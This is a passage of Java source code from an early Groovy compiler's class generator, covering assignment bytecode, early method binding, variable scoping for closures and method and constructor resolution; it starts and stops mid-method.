// e.g. x[5] = 10
// -> (x, [], 5), =, 10
// -> methodCall(x, "putAt", [5, 10])
do {
if (true && ENABLE_EARLY_BINDING){
Class typeclass = leftBinExpr.getLeftExpression().getTypeClass();
if (typeclass == null) {
break;
}
if (typeclass == Map.class) {// call aMap.put()
load(expression.getRightExpression());
// let's leave a copy of the value on the stack.
cv.visitInsn(DUP);
final Variable rightTemp = storeInTemp("rightTemp", expression.getRightExpression().getType());
// VariableExpression tempVarExp = new VariableExpression(rightTemp.getName(), expression.getRightExpression().getType());
final Class rclass = expression.getRightExpression().getTypeClass();
BytecodeExpression loadTempByteCode = new BytecodeExpression() {
public void visit(GroovyCodeVisitor visitor) {
cv.visitVarInsn(ALOAD, rightTemp.getIndex());
}
protected void resolveType(AsmClassGenerator2 resolver) {
setTypeClass(rclass);
}
};
visitMethodCallExpression(
new MethodCallExpression(
leftBinExpr.getLeftExpression(),
"put",
new ArgumentListExpression(
new Expression[] {
leftBinExpr.getRightExpression(),
loadTempByteCode})));
cv.visitInsn(POP); // pop the put method return
removeVar(rightTemp);
return;
}
else if (typeclass == List.class){
// call DefaultGroovyMethods.putAt()V
// DefaultGroovyMethods.putAt(x, 5, "c"); this is faster thangoing thru metaclass
// this method does not return any value. so indicate this fact in the expression
load(expression.getRightExpression());
// let's leave a copy of the value on the stack. this is really lazy.
cv.visitInsn(DUP);
final Variable rightTemp = storeInTemp("rightTemp", expression.getRightExpression().getType());
// VariableExpression tempVarExp = new VariableExpression(rightTemp.getName(), expression.getRightExpression().getType());
final Class rclass = expression.getRightExpression().getTypeClass();
BytecodeExpression loadTempBytes = new BytecodeExpression() {
public void visit(GroovyCodeVisitor visitor) {
cv.visitVarInsn(ALOAD, rightTemp.getIndex());
}
protected void resolveType(AsmClassGenerator2 resolver) {
setTypeClass(rclass);
}
};
visitMethodCallExpression(
new MethodCallExpression(
new ClassExpression(DefaultGroovyMethods.class),
"putAt",
new ArgumentListExpression(
new Expression[] {
leftBinExpr.getLeftExpression(),
leftBinExpr.getRightExpression(),
loadTempBytes })));
removeVar(rightTemp);
return;
}
else {
break;
}
}
} while (false);
visitMethodCallExpression(
new MethodCallExpression(
leftBinExpr.getLeftExpression(),
"putAt",
new ArgumentListExpression(
new Expression[] { leftBinExpr.getRightExpression(), expression.getRightExpression()})));
// cv.visitInsn(POP); //this is realted to isPopRequired()
return;
}
}
// lets evaluate the RHS then hopefully the LHS will be a field
leftHandExpression = false;
Expression rightExpression = expression.getRightExpression();
String type = getLHSType(leftExpression);
if (type != null) {
//System.out.println("### expression: " + leftExpression);
//System.out.println("### type: " + type);
// lets not cast for primitive types as we handle these in field setting etc
if (BytecodeHelper.isPrimitiveType(type)) {
rightExpression.visit(this);
}
else {
if (ENABLE_EARLY_BINDING) {
if (leftExpression.isDynamic()) { // br the previous if() probably should check this too!
visitAndAutoboxBoolean(rightExpression);
}
else {
if (type.equals(rightExpression.getType())) {
visitAndAutoboxBoolean(rightExpression);
}
else {
if (rightExpression instanceof ConstantExpression &&
((ConstantExpression)rightExpression).getValue() == null) {
cv.visitInsn(ACONST_NULL);
}
else {
visitCastExpression(new CastExpression(type, rightExpression));
}
}
}
}
else if (!type.equals("java.lang.Object")){
visitCastExpression(new CastExpression(type, rightExpression));
}
else {
visitAndAutoboxBoolean(rightExpression);
}
}
}
else {
visitAndAutoboxBoolean(rightExpression);
}
// br: attempt to pass type info from right to left for assignment
if (ENABLE_EARLY_BINDING) {
Class rc = rightExpression.getTypeClass();
if (rc != null && rc.isArray()) {
Class elemType = rc.getComponentType();
if (elemType.isPrimitive()) {
visitClassExpression(new ClassExpression(elemType));
convertPrimitiveArray.call(cv);
cast(loadClass(BytecodeHelper.getObjectArrayTypeForPrimitiveArray(elemType.getName() + "[]")));
}
}
if (leftExpression.isDynamic() ) {
// propagate the type from right to left if the left is dynamic
if (!(leftExpression instanceof FieldExpression ) && !(leftExpression instanceof PropertyExpression))
copyTypeClass(leftExpression, rightExpression);
}
else {
Class lc = leftExpression.getTypeClass();
// Class rc = rightExpression.getTypeClass();
if (lc != null && rc != null && !lc.isAssignableFrom(rc) && !lc.isPrimitive()) {
// let's use extended conversion logic in the invoker class.
if (!lc.isArray()) {
visitClassExpression(new ClassExpression(lc));
asTypeMethod.call(cv);
helper.doCast(lc);
}
else {
// may not need this, since variable type converts primitive array to object array automatically
Class elemType = lc.getComponentType();
if (elemType.isPrimitive()) {
// let's allow type copy for primitive array, meaning [i can be changed to [Integer
copyTypeClass(leftExpression, rightExpression);
}
}
}
}
}
cv.visitInsn(DUP); // to leave a copy of the rightexpression value on the stack after the assignment.
leftHandExpression = true;
leftExpression.visit(this);
leftHandExpression = false;
}
private void copyTypeClass(Expression leftExpression, Expression rightExpression) {
// copy type class from the right to the left, boxing numbers & treat ClassExpression specially
Class rclass = rightExpression.getTypeClass();
if (rightExpression instanceof ClassExpression) {
leftExpression.setTypeClass(Class.class);
}
else {
rclass = BytecodeHelper.boxOnPrimitive(rclass);
leftExpression.setTypeClass(rclass);
}
}
private boolean canBeAssignedFrom(String ltype, String rtype) {
if (rtype == null) {
return false;
}
else if (ltype == null || ltype.equals("java.lang.Object")) {
return true;
} else {
return false;
}
}
private boolean canBeAssignedFrom(Expression l, Expression r) {
if (r.getTypeClass() == null) {
return false;
}
else if (l.isDynamic()){
return true;
} else {
return false;
}
}
private boolean canBeAssignedFrom(Class l, Class r) {
if (r == null) {
return false;
}
else if (l == null || l == Object.class){
return true;
} else {
return false;
}
}
/**
* Deduces the type name required for some casting
*
* @return the type of the given (LHS) expression or null if it is java.lang.Object or it cannot be deduced
*/
protected String getLHSType(Expression leftExpression) {
do {
// commented out. not quiteworking yet. would complain something like:
// if (ENABLE_EARLY_BINDING) {
// String type = leftExpression.getType();
// if (type == null)
// break;
// return isValidTypeForCast(type) ? type : null;
} while (false);
if (leftExpression instanceof VariableExpression) {
VariableExpression varExp = (VariableExpression) leftExpression;
String type = varExp.getType();
if (isValidTypeForCast(type)) {
return type;
}
String variableName = varExp.getVariable();
Variable variable = (Variable) variableStack.get(variableName);
if (variable != null) {
if (variable.isHolder() || variable.isProperty()) {
return null;
}
type = variable.getTypeName();
if (isValidTypeForCast(type)) {
return type;
}
}
else {
FieldNode field = classNode.getField(variableName);
if (field == null) {
field = classNode.getOuterField(variableName);
}
if (field != null) {
type = field.getType();
if (!field.isHolder() && isValidTypeForCast(type)) {
return type;
}
}
}
}
return null;
}
protected boolean isValidTypeForCast(String type) {
return type != null && !type.equals("java.lang.Object") && !type.equals("groovy.lang.Reference") && !BytecodeHelper.isPrimitiveType(type);
}
protected void visitAndAutoboxBoolean(Expression expression) {
expression.visit(this);
if (isComparisonExpression(expression)) {
helper.boxBoolean(); // convert boolean to Boolean
}
}
protected void evaluatePrefixMethod(String method, Expression expression) {
if (isNonStaticField(expression) && ! isHolderVariable(expression) && !isStaticMethod()) {
cv.visitVarInsn(ALOAD, 0);
}
expression.visit(this);
cv.visitLdcInsn(method);
invokeNoArgumentsMethod.call(cv);
leftHandExpression = true;
expression.visit(this);
leftHandExpression = false;
expression.visit(this);
}
protected void evaluatePostfixMethod(String method, Expression expression) {
leftHandExpression = false;
expression.visit(this);
Variable tv = visitASTOREInTemp("postfix_" + method);
int tempIdx = tv.getIndex();
cv.visitVarInsn(ALOAD, tempIdx);
cv.visitLdcInsn(method);
invokeNoArgumentsMethod.call(cv);
store(expression);
cv.visitVarInsn(ALOAD, tempIdx);
removeVar(tv);
}
protected boolean isHolderVariable(Expression expression) {
if (expression instanceof FieldExpression) {
FieldExpression fieldExp = (FieldExpression) expression;
return fieldExp.getField().isHolder();
}
if (expression instanceof VariableExpression) {
VariableExpression varExp = (VariableExpression) expression;
Variable variable = (Variable) variableStack.get(varExp.getVariable());
if (variable != null) {
return variable.isHolder();
}
FieldNode field = classNode.getField(varExp.getVariable());
if (field != null) {
return field.isHolder();
}
}
return false;
}
protected void evaluateInstanceof(BinaryExpression expression) {
expression.getLeftExpression().visit(this);
Expression rightExp = expression.getRightExpression();
String className = null;
if (rightExp instanceof ClassExpression) {
ClassExpression classExp = (ClassExpression) rightExp;
className = classExp.getType();
}
else {
throw new RuntimeException(
"Right hand side of the instanceof keyworld must be a class name, not: " + rightExp);
}
className = checkValidType(className, expression, "Must be a valid type name for an instanceof statement");
String classInternalName = BytecodeHelper.getClassInternalName(className);
cv.visitTypeInsn(INSTANCEOF, classInternalName);
}
/**
* @return true if the given argument expression requires the stack, in
* which case the arguments are evaluated first, stored in the
* variable stack and then reloaded to make a method call
*/
protected boolean argumentsUseStack(Expression arguments) {
return arguments instanceof TupleExpression || arguments instanceof ClosureExpression;
}
/**
* @return true if the given expression represents a non-static field
*/
protected boolean isNonStaticField(Expression expression) {
FieldNode field = null;
if (expression instanceof VariableExpression) {
VariableExpression varExp = (VariableExpression) expression;
field = classNode.getField(varExp.getVariable());
}
else if (expression instanceof FieldExpression) {
FieldExpression fieldExp = (FieldExpression) expression;
field = classNode.getField(fieldExp.getFieldName());
}
else if (expression instanceof PropertyExpression) {
PropertyExpression fieldExp = (PropertyExpression) expression;
field = classNode.getField(fieldExp.getProperty());
}
if (field != null) {
return !field.isStatic();
}
return false;
}
protected boolean isThisExpression(Expression expression) {
if (expression instanceof VariableExpression) {
VariableExpression varExp = (VariableExpression) expression;
return varExp.getVariable().equals("this");
}
return false;
}
/**
* For assignment expressions, return a safe expression for the LHS we can use
* to return the value
*/
protected Expression createReturnLHSExpression(Expression expression) {
if (expression instanceof BinaryExpression) {
BinaryExpression binExpr = (BinaryExpression) expression;
if (binExpr.getOperation().isA(Types.ASSIGNMENT_OPERATOR)) {
return createReusableExpression(binExpr.getLeftExpression());
}
}
return null;
}
protected Expression createReusableExpression(Expression expression) {
ExpressionTransformer transformer = new ExpressionTransformer() {
public Expression transform(Expression expression) {
if (expression instanceof PostfixExpression) {
PostfixExpression postfixExp = (PostfixExpression) expression;
return postfixExp.getExpression();
}
else if (expression instanceof PrefixExpression) {
PrefixExpression prefixExp = (PrefixExpression) expression;
return prefixExp.getExpression();
}
return expression;
}
};
// could just be a postfix / prefix expression or nested inside some other expression
return transformer.transform(expression.transformExpression(transformer));
}
protected boolean isComparisonExpression(Expression expression) {
if (expression instanceof BinaryExpression) {
BinaryExpression binExpr = (BinaryExpression) expression;
switch (binExpr.getOperation().getType()) {
case Types.COMPARE_EQUAL :
case Types.MATCH_REGEX :
case Types.COMPARE_GREATER_THAN :
case Types.COMPARE_GREATER_THAN_EQUAL :
case Types.COMPARE_LESS_THAN :
case Types.COMPARE_LESS_THAN_EQUAL :
case Types.COMPARE_IDENTICAL :
case Types.COMPARE_NOT_EQUAL :
case Types.KEYWORD_INSTANCEOF :
return true;
}
}
else if (expression instanceof BooleanExpression) {
return true;
}
return false;
}
protected void onLineNumber(ASTNode statement, String message) {
int line = statement.getLineNumber();
int col = statement.getColumnNumber();
this.currentASTNode = statement;
if (line >=0) {
lineNumber = line;
columnNumber = col;
}
if (CREATE_DEBUG_INFO && line >= 0 && cv != null) {
Label l = new Label();
cv.visitLabel(l);
cv.visitLineNumber(line, l);
if (ASM_DEBUG) {
helper.mark(message + "[" + statement.getLineNumber() + ":" + statement.getColumnNumber() + "]");
}
}
}
protected VariableScope getVariableScope() {
if (variableScope == null) {
if (methodNode != null) {
// if we're a closure method we'll have our variable scope already created
variableScope = methodNode.getVariableScope();
if (variableScope == null) {
variableScope = new VariableScope();
methodNode.setVariableScope(variableScope);
VariableScopeCodeVisitor visitor = new VariableScopeCodeVisitor(variableScope);
visitor.setParameters(methodNode.getParameters());
Statement code = methodNode.getCode();
if (code != null) {
code.visit(visitor);
}
}
addFieldsToVisitor(variableScope);
}
else if (constructorNode != null) {
variableScope = new VariableScope();
constructorNode.setVariableScope(variableScope);
VariableScopeCodeVisitor visitor = new VariableScopeCodeVisitor(variableScope);
visitor.setParameters(constructorNode.getParameters());
Statement code = constructorNode.getCode();
if (code != null) {
code.visit(visitor);
}
addFieldsToVisitor(variableScope);
}
else {
throw new RuntimeException("Can't create a variable scope outside of a method or constructor");
}
}
return variableScope;
}
/**
* @return a list of parameters for each local variable which needs to be
* passed into a closure
*/
protected Parameter[] getClosureSharedVariables(ClosureExpression expression) {
List vars = new ArrayList();
// First up, get the scopes for outside and inside the closure.
// The inner scope must cover all nested closures, as well, as
// everything that will be needed must be imported.
VariableScope outerScope = getVariableScope().createRecursiveParentScope();
VariableScope innerScope = expression.getVariableScope();
if (innerScope == null) {
System.out.println(
"No variable scope for: " + expression + " method: " + methodNode + " constructor: " + constructorNode);
innerScope = new VariableScope(getVariableScope());
}
else {
innerScope = innerScope.createRecursiveChildScope();
}
// DeclaredVariables include any name that was assigned to within
// the scope. ReferencedVariables include any name that was read
// from within the scope. We get the sets from each and must piece
// together the stack variable import list for the closure. Note
// that we don't worry about field variables here, as we don't have
// to do anything special with them. Stack variables, on the other
// hand, have to be wrapped up in References for use.
Set outerDecls = outerScope.getDeclaredVariables();
Set outerRefs = outerScope.getReferencedVariables();
Set innerDecls = innerScope.getDeclaredVariables();
Set innerRefs = innerScope.getReferencedVariables();
// So, we care about any name referenced in the closure UNLESS:
// 1) it's not declared in the outer context;
// 2) it's a parameter;
// 3) it's a field in the context class that isn't overridden
// by a stack variable in the outer context.
// BUG: We don't actually have the necessary information to do
// this right! The outer declarations don't distinguish
// between assignments and variable declarations. Therefore
// we can't tell when field variables have been overridden
// by stack variables in the outer context. This must
// be fixed!
Set varSet = new HashSet();
for (Iterator iter = innerRefs.iterator(); iter.hasNext();) {
String var = (String) iter.next();
// lets not pass in fields from the most-outer class, but pass in values from an outer closure
if (outerDecls.contains(var) && (isNotFieldOfOutermostClass(var))) {
String type = getVariableType(var);
vars.add(new Parameter(type, var));
varSet.add(var);
}
}
for (Iterator iter = outerRefs.iterator(); iter.hasNext();) {
String var = (String) iter.next();
// lets not pass in fields from the most-outer class, but pass in values from an outer closure
if (innerDecls.contains(var) && (isNotFieldOfOutermostClass(var)) && !varSet.contains(var)) {
String type = getVariableType(var);
vars.add(new Parameter(type, var));
}
}
Parameter[] answer = new Parameter[vars.size()];
vars.toArray(answer);
return answer;
}
protected boolean isNotFieldOfOutermostClass(String var) {
//return classNode.getField(var) == null || isInnerClass();
return getOutermostClass().getField(var) == null;
}
protected void findMutableVariables() {
/*
VariableScopeCodeVisitor outerVisitor = new VariableScopeCodeVisitor(true);
node.getCode().visit(outerVisitor);
addFieldsToVisitor(outerVisitor);
VariableScopeCodeVisitor innerVisitor = outerVisitor.getClosureVisitor();
*/
VariableScope outerScope = getVariableScope();
// lets create a scope concatenating all the closure expressions
VariableScope innerScope = outerScope.createCompositeChildScope();
Set outerDecls = outerScope.getDeclaredVariables();
Set outerRefs = outerScope.getReferencedVariables();
Set innerDecls = innerScope.getDeclaredVariables();
Set innerRefs = innerScope.getReferencedVariables();
mutableVars.clear();
for (Iterator iter = innerDecls.iterator(); iter.hasNext();) {
String var = (String) iter.next();
if ((outerDecls.contains(var) || outerRefs.contains(var)) && classNode.getField(var) == null) {
mutableVars.add(var);
}
}
// we may call the closure twice and modify the variable in the outer scope
// so for now lets assume that all variables are mutable
for (Iterator iter = innerRefs.iterator(); iter.hasNext();) {
String var = (String) iter.next();
if (outerDecls.contains(var) && classNode.getField(var) == null) {
mutableVars.add(var);
}
}
// System.out.println();
// System.out.println("method: " + methodNode + " classNode: " + classNode);
// System.out.println("child scopes: " + outerScope.getChildren());
// System.out.println("outerDecls: " + outerDecls);
// System.out.println("outerRefs: " + outerRefs);
// System.out.println("innerDecls: " + innerDecls);
// System.out.println("innerRefs: " + innerRefs);
}
protected void addFieldsToVisitor(VariableScope scope) {
for (Iterator iter = classNode.getFields().iterator(); iter.hasNext();) {
FieldNode field = (FieldNode) iter.next();
String name = field.getName();
scope.getDeclaredVariables().add(name);
scope.getReferencedVariables().add(name);
}
}
private boolean isInnerClass() {
return classNode instanceof InnerClassNode;
}
protected String getVariableType(String name) {
Variable variable = (Variable) variableStack.get(name);
if (variable != null) {
return variable.getTypeName();
}
return null;
}
protected void resetVariableStack(Parameter[] parameters) {
lastVariableIndex = -1;
variableStack.clear();
scope = new BlockScope(null);
//pushBlockScope();
// lets push this onto the stack
definingParameters = true;
if (!isStaticMethod()) {
defineVariable("this", classNode.getName()).getIndex();
} // now lets create indices for the parameteres
for (int i = 0; i < parameters.length; i++) {
Parameter parameter = parameters[i];
String type = parameter.getType();
Variable v = defineVariable(parameter.getName(), type);
int idx = v.getIndex();
if (BytecodeHelper.isPrimitiveType(type)) {
helper.load(type, idx);
helper.box(type);
cv.visitVarInsn(ASTORE, idx);
}
}
definingParameters = false;
}
protected void popScope() {
int lastID = scope.getFirstVariableIndex();
List removeKeys = new ArrayList();
for (Iterator iter = variableStack.entrySet().iterator(); iter.hasNext();) {
Map.Entry entry = (Map.Entry) iter.next();
String name = (String) entry.getKey();
Variable value = (Variable) entry.getValue();
if (value.getIndex() >= lastID) {
removeKeys.add(name);
}
}
for (Iterator iter = removeKeys.iterator(); iter.hasNext();) {
Variable v = (Variable) variableStack.remove(iter.next());
if (CREATE_DEBUG_INFO) { // set localvartable
if (v != null) {
visitVariableEndLabel(v);
cv.visitLocalVariable(
v.getName(),
BytecodeHelper.getTypeDescription(v.getTypeName()),
v.getStartLabel(),
v.getEndLabel(),
v.getIndex()
);
}
}
}
scope = scope.getParent();
}
void removeVar(Variable v ) {
variableStack.remove(v.getName());
if (CREATE_DEBUG_INFO) { // set localvartable
Label endl = new Label();
cv.visitLabel(endl);
cv.visitLocalVariable(
v.getName(),
BytecodeHelper.getTypeDescription(v.getTypeName()),
v.getStartLabel(),
endl,
v.getIndex()
);
}
}
private void visitVariableEndLabel(Variable v) {
if (CREATE_DEBUG_INFO) {
if(v.getEndLabel() == null) {
Label end = new Label();
v.setEndLabel(end);
}
cv.visitLabel(v.getEndLabel());
}
}
protected void pushBlockScope() {
pushBlockScope(true, true);
}
/**
* create a new scope. Set break/continue label if the canXXX parameter is true. Otherwise
* inherit parent's label.
* @param canContinue true if the start of the scope can take continue label
* @param canBreak true if the end of the scope can take break label
*/
protected void pushBlockScope(boolean canContinue, boolean canBreak) {
BlockScope parentScope = scope;
scope = new BlockScope(parentScope);
scope.setContinueLabel(canContinue ? new Label() : (parentScope == null ? null : parentScope.getContinueLabel()));
scope.setBreakLabel(canBreak? new Label() : (parentScope == null ? null : parentScope.getBreakLabel()));
scope.setFirstVariableIndex(getNextVariableID());
}
/**
* Defines the given variable in scope and assigns it to the stack
*/
protected Variable defineVariable(String name, String type) {
return defineVariable(name, type, true);
}
protected Variable defineVariable(String name, String type, boolean define) {
return defineVariable(name, new Type(type), define);
}
private Variable defineVariable(String name, Type type, boolean define) {
Variable answer = (Variable) variableStack.get(name);
if (answer == null) {
lastVariableIndex = getNextVariableID();
answer = new Variable(lastVariableIndex, type, name);
if (mutableVars.contains(name)) {
answer.setHolder(true);
}
variableStack.put(name, answer);
Label startLabel = new Label();
answer.setStartLabel(startLabel);
if (define) {
if (definingParameters) {
if (answer.isHolder()) {
cv.visitTypeInsn(NEW, "groovy/lang/Reference"); // br todo to associate a label with the variable
cv.visitInsn(DUP);
cv.visitVarInsn(ALOAD, lastVariableIndex);
cv.visitMethodInsn(INVOKESPECIAL, "groovy/lang/Reference", "<init>", "(Ljava/lang/Object;)V");
cv.visitVarInsn(ASTORE, lastVariableIndex);
cv.visitLabel(startLabel);
}
}
else {
// using new variable inside a comparison expression
// so lets initialize it too
if (answer.isHolder() && !isInScriptBody()) {
//cv.visitVarInsn(ASTORE, lastVariableIndex + 1); // I might need this to set the reference value
cv.visitTypeInsn(NEW, "groovy/lang/Reference");
cv.visitInsn(DUP);
cv.visitMethodInsn(INVOKESPECIAL, "groovy/lang/Reference", "<init>", "()V");
cv.visitVarInsn(ASTORE, lastVariableIndex);
cv.visitLabel(startLabel);
//cv.visitVarInsn(ALOAD, idx + 1);
}
else {
if (!leftHandExpression) { // new var on the RHS: init with null
cv.visitInsn(ACONST_NULL);
cv.visitVarInsn(ASTORE, lastVariableIndex);
cv.visitLabel(startLabel);
}
}
}
}
}
return answer;
}
private int getNextVariableID() {
//return Math.max(lastVariableIndex + 1, variableStack.size());
return variableStack.size(); // todo : rework
}
/** @return true if the given name is a local variable or a field */
protected boolean isFieldOrVariable(String name) {
return variableStack.containsKey(name) || classNode.getField(name) != null;
}
protected Type checkValidType(Type type, ASTNode node, String message) {
if (type.isDynamic()) {
return type;
}
String name = checkValidType(type.getName(), node, message);
if (type.getName().equals(name)) {
return type;
}
return new Type(name);
}
protected String checkValidType(String type, ASTNode node, String message) {
if (type!= null && type.length() == 0)
return "java.lang.Object";
if (type.endsWith("[]")) {
String postfix = "[]";
String prefix = type.substring(0, type.length() - 2);
return checkValidType(prefix, node, message) + postfix;
}
int idx = type.indexOf('$');
if (idx > 0) {
String postfix = type.substring(idx);
String prefix = type.substring(0, idx);
return checkValidType(prefix, node, message) + postfix;
}
if (BytecodeHelper.isPrimitiveType(type) || "void".equals(type)) {
return type;
}
String original = type;
type = resolveClassName(type);
if (type != null) {
return type;
}
throw new MissingClassException(original, node, message + " for class: " + classNode.getName());
}
protected String resolveClassName(String type) {
return classNode.resolveClassName(type);
}
protected String createVariableName(String type) {
return "__" + type + (++tempVariableNameCounter);
}
/**
* @return if the type of the expression can be determined at compile time
* then this method returns the type - otherwise null
*/
protected String getExpressionType(Expression expression) {
if (isComparisonExpression(expression)) {
return "boolean";
}
if (expression instanceof VariableExpression) {
VariableExpression varExpr = (VariableExpression) expression;
Variable variable = (Variable) variableStack.get(varExpr.getVariable());
if (variable != null && !variable.isHolder()) {
Type type = variable.getType();
if (! type.isDynamic()) {
return type.getName();
}
}
}
return null;
}
/**
* @return true if the value is an Integer, a Float, a Long, a Double or a
* String .
*/
protected static boolean isPrimitiveFieldType(String type) {
return type.equals("java.lang.String")
|| type.equals("java.lang.Integer")
|| type.equals("java.lang.Double")
|| type.equals("java.lang.Long")
|| type.equals("java.lang.Float");
}
protected boolean isInClosureConstructor() {
return constructorNode != null
&& classNode.getOuterClass() != null
&& classNode.getSuperClass().equals(Closure.class.getName());
}
protected boolean isStaticMethod() {
if (methodNode == null) { // we're in a constructor
return false;
}
return methodNode.isStatic();
}
Map classCache = new HashMap();
{
classCache.put("int", Integer.TYPE);
classCache.put("byte", Byte.TYPE);
classCache.put("short", Short.TYPE);
classCache.put("char", Character.TYPE);
classCache.put("boolean", Boolean.TYPE);
classCache.put("long", Long.TYPE);
classCache.put("double", Double.TYPE);
classCache.put("float", Float.TYPE);
classCache.put("void", Void.TYPE);
}
/**
* @return loads the given type name
*/
protected Class loadClass(String name) {
if (name.equals(this.classNode.getName())) {
return Object.class;
}
if (name == null) {
return null;
}
else if (name.length() == 0) {
return Object.class;
}
name = BytecodeHelper.formatNameForClassLoading(name);
try {
Class cls = (Class)classCache.get(name);
if (cls != null)
return cls;
CompileUnit compileUnit = getCompileUnit();
if (compileUnit != null) {
cls = compileUnit.loadClass(name);
classCache.put(name, cls);
return cls;
}
else {
throw new ClassGeneratorException("Could not load class: " + name);
}
}
catch (ClassNotFoundException e) {
throw new ClassGeneratorException("Error when compiling class: " + classNode.getName() + ". Reason: could not load class: " + name + " reason: " + e, e);
}
}
protected CompileUnit getCompileUnit() {
CompileUnit answer = classNode.getCompileUnit();
if (answer == null) {
answer = context.getCompileUnit();
}
return answer;
}
/**
* attemtp to identify the exact runtime method call the expression is intended for, for possible early binding.
* @param call
*/
public void resolve(MethodCallExpression call) {
if (call.isResolveFailed()) {
return;
}
else if (call.isTypeResolved()) {
return;
}
Expression obj = call.getObjectExpression();
String meth = call.getMethod();
Class ownerClass = null;
boolean isStaticCall = false;
boolean isSuperCall = false;
List arglist = new ArrayList();
Expression args = call.getArguments();
if (args instanceof TupleExpression) {
TupleExpression tupleExpression = (TupleExpression) args;
List argexps = tupleExpression.getExpressions();
for (int i = 0; i < argexps.size(); i++) {
Expression expression = (Expression) argexps.get(i);
Class cls = expression.getTypeClass();
if (cls == null) {
call.setResolveFailed(true);
return ;
}
else {
arglist.add(cls);
}
}
} else if (args instanceof ClosureExpression) {
call.setResolveFailed(true);
return ;// todo
} else {
call.setResolveFailed(true);
return ;
}
Class[] argsArray = new Class[arglist.size()];
arglist.toArray(argsArray);
if (obj instanceof ClassExpression) {
// static call
//ClassExpression cls = (ClassExpression)obj;
//String type = cls.getType();
ownerClass = obj.getTypeClass(); //loadClass(type);
isStaticCall = true;
} else if (obj instanceof VariableExpression) {
VariableExpression var = (VariableExpression) obj;
if (var.getVariable().equals("this") && (methodNode == null? true : !methodNode.isStatic()) ) {
isStaticCall = false;
if (methodNode != null) {
isStaticCall = Modifier.isStatic(methodNode.getModifiers());
}
MetaMethod mmeth = getMethodOfThisAndSuper(meth, argsArray, isStaticCall);
if (mmeth != null) {
call.setMethod(mmeth);
return ;
}
else {
call.setResolveFailed(true);
return ;
}
}
else if (var.getVariable().equals("super") ) {
isSuperCall = true;
ownerClass = var.getTypeClass();
}
else {
ownerClass = var.getTypeClass();
}
}
else /*if (obj instanceof PropertyExpression)*/ {
ownerClass = obj.getTypeClass();
if (ownerClass == null) {
call.setResolveFailed(true);
call.setFailure("target class is null");
return ; // take care other cases later version
}
}
if (ownerClass == Object.class) {
call.setResolveFailed(true);
return ; // use late binding for dynamic types
}
else if (ownerClass == null) {
call.setResolveFailed(true);
return ; // use dynamic dispatching for GroovyObject
}
else
if (!isSuperCall && !isStaticCall && GroovyObject.class.isAssignableFrom(ownerClass) ) { // not optimize GroovyObject meth call for now
call.setResolveFailed(true);
return ;
}
else
if (ownerClass.isPrimitive()) {
call.setResolveFailed(true);
return ; // todo handle primitives
}
//MetaMethod mmethod = InvokerHelper.getInstance().getMetaRegistry().getDefinedMethod(ownerClass, meth, argsArray, isStaticCall);
// todo is this thread safe?
MetaMethod mmethod = MetaClassRegistry.getIntance(MetaClassRegistry.DONT_LOAD_DEFAULT).getDefinedMethod(ownerClass, meth, argsArray, isStaticCall);
if (mmethod!= null) {
call.setMethod(mmethod);
}
else {
call.setResolveFailed(true);
}
return ;
}
/**
* attemtp to identify the exact runtime method call the expression is intended for, for possible early binding.
* @param call
*/
public void resolve(ConstructorCallExpression call) {
if (call.isResolveFailed()) {
return ;
}
else if (call.isTypeResolved()) {
return ;
}
String declaredType = call.getTypeToSet();
if (declaredType.equals(classNode.getName())) {
call.setResolveFailed(true);
call.setFailure("cannot resolve on the current class itself. ");
return;
}
else {
call.setType(declaredType);
if (call.getTypeClass() == null) {
call.setResolveFailed(true);
call.setFailure("type name cannot be resolved. ");
return;
}
}
boolean isSuperCall = false;
List arglist = new ArrayList();
Expression args = call.getArguments();
if (args instanceof TupleExpression) {
TupleExpression tupleExpression = (TupleExpression) args;
List argexps = tupleExpression.getExpressions();
for (int i = 0; i < argexps.size(); i++) {
Expression expression = (Expression) argexps.get(i);
Class cls = expression.getTypeClass();
if (cls == null) {
call.setResolveFailed(true);
return ;
}
else {
arglist.add(cls);
}
}
} else if (args instanceof ClosureExpression) {
call.setResolveFailed(true);
call.setFailure("don't know how to handle closure arg. ");
return ;// todo
} else {
call.setResolveFailed(true);
call.setFailure("unknown arg type: " + args.getClass().getName());
return ;
}
Class[] argsArray = new Class[arglist.size()];
arglist.toArray(argsArray);
Class ownerClass = call.getTypeClass();
if (ownerClass == null) {
String typeName = call.getType();
if (typeName.equals(this.classNode.getName())) {
// this is a ctor call to this class
call.setResolveFailed(true);
call.setFailure("invoke constructor for this. no optimization for now");
return ;
}
else {
try {
ownerClass = loadClass(typeName);
if (ownerClass == null) {
call.setResolveFailed(true);
call.setFailure("owner class type is null. ");
return ;
}
}
catch (Throwable th) {
call.setResolveFailed(true);
call.setFailure("Exception: " + th);
return ;
}
}
}
if (ownerClass == Object.class) {
call.setResolveFailed(true);
call.setFailure("owner class type java.lang.Object. use late binding for dynamic types");
return ;
}
else if (ownerClass == null) {
call.setResolveFailed(true);
call.setFailure("owner class type is null. use dynamic dispatching for GroovyObject");
return; // use dynamic dispatching for GroovyObject
}
// safe to call groovyobject ctor
// else if (!isSuperCall && GroovyObject.class.isAssignableFrom(ownerClass) ) { // ie, to allow early binding for a super call
// call.setResolveFailed(true);
// return null;
else if (ownerClass.isPrimitive()) {
call.setResolveFailed(true);
throwException("The owner of the constructor is primitive.");
return ;
}
Constructor ctor = MetaClassRegistry.getIntance(MetaClassRegistry.DONT_LOAD_DEFAULT).getDefinedConstructor(ownerClass, argsArray);
if (ctor!= null) {
call.setConstructor(ctor);
}
else {
call.setResolveFailed(true);
}
return ;
}
public void resolve(PropertyExpression propertyExpression) {
if (propertyExpression.getTypeClass() != null)
return ;
if (propertyExpression.isResolveFailed())
return ;
Expression ownerExp = propertyExpression.getObjectExpression();
Class ownerClass = ownerExp.getTypeClass();
String propName = propertyExpression.getProperty();
if (propName.equals("class")) {
propertyExpression.setTypeClass(Class.class);
return ;
}
// handle arraylength
if (ownerClass != null && ownerClass.isArray() && propName.equals("length")) {
propertyExpression.setTypeClass(int.class);
return;
}
if (isThisExpression(ownerExp)) {
// lets use the field expression if its available
if (classNode == null) {
propertyExpression.setResolveFailed(true);
return ;
}
FieldNode field = null;
ownerExp.setType(classNode.getName());
try {
if( (field = classNode.getField(propName)) != null ) {
// Class cls =loadClass(field.getType());
// propertyExpression.setAccess(PropertyExpression.LOCAL_FIELD_ACCESS);
// propertyExpression.setTypeClass(cls);
// local property access. to be determined in the future
propertyExpression.setResolveFailed(true);
propertyExpression.setFailure("local property access. to be determined in the future.");
return ;
} else {
// search for super classes/interface
// interface first first
String[] interfaces = classNode.getInterfaces();
String[] supers = new String[interfaces.length + 1];
int i = 0;
